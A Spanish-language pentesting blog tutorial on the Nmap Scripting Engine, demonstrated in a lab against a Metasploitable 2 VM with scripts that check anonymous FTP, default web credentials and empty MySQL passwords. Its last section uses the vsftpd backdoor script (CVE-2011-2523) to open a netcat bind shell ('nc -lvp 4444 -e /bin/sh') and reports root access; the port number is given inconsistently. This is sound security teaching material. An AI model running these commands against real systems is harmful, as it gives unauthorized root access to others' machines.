namp-scripting-ciberseguridad-behackerpro

El día de hoy les voy hablar sobre Nmap Scripting Engines, una de las características más poderosas y flexibles que tiene Nmap y, utilizable en varias etapas de un Pentest.

 

Elementos utilizados en la demostración:

 

Hypervisor

VMware Workstation 16 Pro

Máquina virtual

Debian 10 “Buster”

 


 

Dirección IPv4: 192.168.0.10/24

Máquina virtual

Metasploitable 2

 


 

Dirección IPv4: 192.168.0.11/24

nmap

versión 7.70

 

¿Qué es NSE?

Es una de las características más avanzadas de nmap, le añade flexibilidad y potencia; las funcionalidades que añade, permiten que nmap pueda ejecutar tareas adicionales al escaneo de puertos, identificación de servicios, sistemas operativos y versiones. Los scripts NSE son programados utilizando el lenguaje de programación LUA.

 

¿Cuál es la utilidad de NSE en una prueba?

Usted puede utilizar los scripts que han sido creados para NSE durante algunas fases de un Pentest; así como: crear, modificar, compartir o mejorar cualquier script.

 

De acuerdo al libro de Nmap Network Scanning, NSE fue desarrollado con el fin de mejorar el descubrimiento de redes, sistema de detección de versiones más sofisticado, detección de vulnerabilidades, detección de puertas traseras (backdoor) y explotación de vulnerabilidades.

 

¿Dónde están almacenados los scripts NSE?

Los scripts NSE están almacenados en la ruta /usr/share/nmap/scripts, ahí podrá encontrar aproximadamente 589 scripts

 

nmap-scripting-engine-ciberseguridad-behackerpro



¿Qué categorías existen?

Los scripts NSE pertenecen a una serie de categorías, actualmente existen 14 categorías: auth broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, versión, vuln; tenga en cuenta que algunos scripts podrían ocasionar alguna interrupción, daño o denegación de servicio; así que verifique lo acordado con el cliente, para no exceder el alcance.

 

¿Debo utilizar script realizados por terceros?

Traté de utilizar los scripts proveídos por las personas que han desarrollado nmap, utilice sus propios scripts y dude de scripts de terceros, a menos de que usted esté seguro de que no vienen con algún “regalo” que pueda ocasionar algún daño.

 

Demostración

 

  1. Chequear las versiones de los servicios que están a la escucha en el servidor 192.168.0.11

 

nmap-scripting-ciberseguridad-behackerpro

 

  1. Para ejecutar los scripts NSE de la categoría “default”, podemos utilizar el siguiente comando

 

nmap-scripting-engine-ciberseguridad-behackerpro-ejemplos

 

  1. A continuación utilicemos el script “ftp-anon” de la categoría “auth”, ese script nos permitirá saber si el acceso anónimo a nuestro servidor ftp, está permitido.

 

nmap-scripting-engine-ciberseguridad-behackerpro-ejemplos-img1

 

  1. Con el script “http-defaults-accounts” tratamos de determinar si el acceso con credenciales por defecto está habilitado en algunas aplicaciones web

 

nmap-scripting-engine-ciberseguridad-behackerpro-ejemplos-img2

 

  1. Con el script “mysql-empty-password” podemos determinar si el servidor MySQL no utiliza contraseña para el usuario root

 

nmap-scripting-engine-ciberseguridad-behackerpro-ejemplos-img3

 

  1. El script “mysql-users” intenta listar los usuario del servidor mysql; en ese caso se le ingresaron unos argumentos al script, el script es el siguiente:

 

$sudo nmap -p3306 192.168.0.11 –script=mysql-users –script-args mysqluser=root,mysqlpass=’’

 

nmap-scripting-engine-ciberseguridad-behackerpro-ejemplos-img4

 

  1. El script “ftp-vsftpd-backdoor” corresponde a las categorías: exploit, intrusive, malware, vuln; este script busca la presencia de la puerta trasera (backdoor) reportada en CVE-2011-2523 (¡¡¡algo viejita la vulnerabilidad!!!Pero sirve como ilustración)

 

nmap-scripting-engine-ciberseguridad-behackerpro-ejemplos-img5

 

A continuación procederemos a explotar la vulnerabilidad; vamos a utilizar el script y, su propiedad para ejecutar un comando en el objetivo de la siguiente manera:

 

$sudo nmap –script=ftp-vsftpd-backdoor -p21 192.168.0.11 –script-args ftp-vsftpd-backdoor-cmd=’nc -lvp 444 -e /bin/sh’

El comando anterior se explica de la siguiente manera:

–script=ftp-vsftpd-backdoor    < — Se seleccionó el script en cuestión

-p21← Se le indica que actué en el puerto 21

192.168.0.11 ← Objetivo

–script-args ftp-vsftpd-backdoor.cmd=’nc -lvp 4444 -e /bin/sh’ ← El script recibe como argumento el comando nc con sus respectivas opciones y argumentos

.

 

Como se evidencia en la próxima imágen, netcat queda a la escucha en el puerto 4444 del servidor 192.168.0.11 y, mediante la opción -e /bin/sh, pretende ejecutar una shell sh, después de la conexión

 

nmap-scripting-engine-ciberseguridad-behackerpro-ejemplos-img7

 

Por último, nos conectamos desde nuestro Debian 10, hacia el servidor ¡¡¡Tenemos acceso como root!!!

 

nmap-scripting-engine-ciberseguridad-behackerpro-ejemplos-img8



Fuentes

https://nmap.org/nsedoc/scripts

https://nmap.org/book/nse-usage.html

 

Libro Nmap: Network Exploration and Security Auditing Cookbook

 

¿Te gustó este post? por favor déjanos tus comentarios! Sé un buen HackerPro y comparte con tu comunidad! Suscríbete a Behackerpro

Otras Entradas

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *